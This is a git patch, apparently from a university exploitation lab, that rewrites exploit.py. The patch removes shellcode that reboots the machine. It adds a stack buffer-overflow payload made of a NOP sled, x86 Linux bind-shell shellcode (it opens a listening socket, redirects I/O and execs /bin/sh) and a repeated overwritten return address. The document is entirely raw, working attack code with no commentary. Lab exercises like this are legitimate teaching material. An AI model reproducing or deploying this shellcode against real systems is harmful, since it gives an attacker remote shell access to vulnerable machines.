From 05c37b62a1ad6751dad957624b7f97be8d8d5155 Mon Sep 17 00:00:00 2001 From: Florian Hoss Date: Thu, 5 May 2022 09:40:37 +0200 Subject: [PATCH] Update exploit.py --- Lab02/LabExploitation/exploit.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/Lab02/LabExploitation/exploit.py b/Lab02/LabExploitation/exploit.py index 7002234..d6bd701 100755 --- a/Lab02/LabExploitation/exploit.py +++ b/Lab02/LabExploitation/exploit.py @@ -1,3 +1,12 @@ import struct -print("\x90"*238 +'\x31\xc0\x31\xdb\x31\xc9\x99\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80'+ '\xc0\xf4\xff\xbf'*5) +print("\x90"*256+ +"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"+ +"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"+ +"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"+ +"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"+ +"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"+ +"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"+ +"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80"+ +"\x90"*150+ +"\xe0\xee\xff\xbf"*8)